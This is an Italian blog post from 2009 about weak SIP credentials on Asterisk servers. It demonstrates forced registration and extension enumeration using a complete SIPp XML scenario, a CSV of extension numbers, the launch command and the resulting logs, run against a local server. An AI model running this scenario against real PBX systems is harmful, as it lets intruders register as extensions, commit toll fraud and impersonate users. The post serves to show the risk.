Registrazione abusiva ed enumerazione SIP
by admin on Mar.04, 2009, under Asterisk, Linux, Sicurezza, Telefonia, VoIP
Concepire un server Asterisk in una prospettiva puramente “telefonica” è un errore gravissimo che può portare a conseguenze pesantissime, come il prosciugamento del credito telefonico della vittima, o anche l’assunzione di falsa identità (quella della vittima) da parte di un malintenzionato.
Mi riferisco a quelle installazioni in cui i vari utenti SIP si registrano dinamicamente con credenziali deboli, tipo le seguenti, che pur rappresentando un caso limite, data anche la mancanza di password (ma poco importerebbe la differenza nel caso di una password debole), sono purtroppo abbastanza comuni:
[101]
type=friend
host=dynamic
username=101
allow=all
[104]
type=friend
host=dynamic
username=104
allow=all
In un contesto simile diviene molto semplice effettuare una registrazione ‘a forza bruta‘ per diventare un interno di Asterisk, così come effettuare una ‘enumerazione degli utenti’.
Per simulare una simile eventualità possiamo utilizzare il tool sipp (http://sipp.sourceforge.net/), disponibile anche, ad esempio per pigri utizzatori di Ubuntu, tramite un apt-get install sip-tester.
Sipp è un generatore opensource di traffico per il protocollo SIP in grado di leggere custom XML files descritivi di call flows sia semplici che complessi.
Senza entrare nei particolari del pacchetto possiamo utilizzare qualcosa di appropriato ai nostri scopi scrivendo due file del genere:
register_client.xml:
<?xml version=”1.0″ encoding=”ISO-8859-1″ ?>
<scenario name=”register_client”>
<send retrans=”500″>
<![CDATA[
REGISTER sip:[remote_ip]:[remote_port] SIP/2.0
Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
From: <sip:[field0]@[remote_ip]>;tag=[call_number]
To: <sip:[field0]@[remote_ip]>
Call-ID: [call_id]
CSeq: 1 REGISTER
Contact: <sip:[field0]@[local_ip]:[local_port]>
Max-Forwards: 5
Expires: 5
User-Agent: SIPp/Linux
Content-Length: 0
]]>
</send>
<recv response=”200″ optional=”true” next=”2″>
<action>
<log message=”Got 200, user [field0]“/>
</action>
</recv>
<recv response=”404″ optional=”true” next=”2″>
</recv>
<label id=”2″>
</label>
</scenario>
register_client.csv:
SEQUENTIAL
100
101
102
103
104
105
e quindi lanciare il comando:
# sipp -sf register_client.xml -inf register_client.csv -l 1 -m 3 -r 1 -t un -trace_err -trace_logs -i 127.0.0.1 127.0.0.1
dove:
-sf specifica lo scenario
-inf specifica il file ‘csv’
-l il numero massimo di tentativi simultanei
-m il numero totale di tentativi da eseguire, in questo caso il numero delle righe presenti nel file csv
-r il numero di tentativi simultanei in un secondo
-t il tipo di socket da utilizzare
-trace_err salva i messaggi non previsti nel file <nome del file dello scenario>_<pid>_errors.log
-trace_logs salva i messaggi di log nel file <nome del file dello scenario>_<pid>_logs.log
(in questo caso i successi di registrazione ed enumerazione degli utenti)
-i l’indirizzo IP di provenienza dei tentativi (SIPp)
mentre l’ultimo argomento e’ l’indirizzo IP di destinazione (il server Asterisk)
l’output del comando è:
Resolving remote host '127.0.0.1'... Done.
------------------------------ Scenario Screen -------- [1-9]: Change Screen --
Call-rate(length) Port Total-time Total-calls Remote-host
1.0(0 ms)/1.000s 5061 6.01 s 6 127.0.0.1:5060(UDP)
Call limit reached (-m 6), 0.009 s period 3 ms scheduler resolution
0 calls (limit 1) Peak was 1 calls, after 1 s
0 Running, 1 Paused, 0 Woken up
0 out-of-call msg (discarded)
1 open sockets
Messages Retrans Timeout Unexpected-Msg
REGISTER ----------> 6 0 0
200 <---------- 2 0 0
404 <---------- 4 0 0
------------------------------ Test Terminated --------------------------------
----------------------------- Statistics Screen ------- [1-9]: Change Screen --
Start Time | 2009-03-02 23:11:15
Last Reset Time | 2009-03-02 23:11:22
Current Time | 2009-03-02 23:11:22
-------------------------+---------------------------+--------------------------
Counter Name | Periodic value | Cumulative value
-------------------------+---------------------------+--------------------------
Elapsed Time | 00:00:00:009 | 00:00:06:028
Call Rate | 111.111 cps | 0.995 cps
-------------------------+---------------------------+--------------------------
Incoming call created | 0 | 0
OutGoing call created | 1 | 6
Total Call created | | 6
Current Call | 0 |
-------------------------+---------------------------+--------------------------
Successful call | 1 | 6
Failed call | 0 | 0
-------------------------+---------------------------+--------------------------
Call Length | 00:00:00:001 | 00:00:00:002
------------------------------ Test Terminated --------------------------------
mentre il file di log registrato durante l’esecuzione conterrà:
# cat register_client_11763_logs.log
Got 200, user 101
Got 200, user 104
La avvenuta registrazione dei falsi agenti SIP è chiaramente riscontrabile anche sulla console di Asterisk:
*CLI> [Mar 2 23:11:16] NOTICE[10569]: chan_sip.c:18390 handle_request_register: Registration from ‘<sip:100@127.0.0.1>’ failed for ‘127.0.0.1′ - No matching peer found
– Registered SIP ‘101′ at 127.0.0.1 port 60230
[Mar 2 23:11:19] NOTICE[10569]: chan_sip.c:18390 handle_request_register: Registration from ‘<sip:102@127.0.0.1>’ failed for ‘127.0.0.1′ - No matching peer found
[Mar 2 23:11:20] NOTICE[10569]: chan_sip.c:18390 handle_request_register: Registration from ‘<sip:103@127.0.0.1>’ failed for ‘127.0.0.1′ - No matching peer found
– Registered SIP ‘104′ at 127.0.0.1 port 46755
> Saved useragent “SIPp/Linux” for peer 104
[Mar 2 23:11:22] NOTICE[10569]: chan_sip.c:18390 handle_request_register: Registration from ‘<sip:105@127.0.0.1>’ failed for ‘127.0.0.1′ - No matching peer found


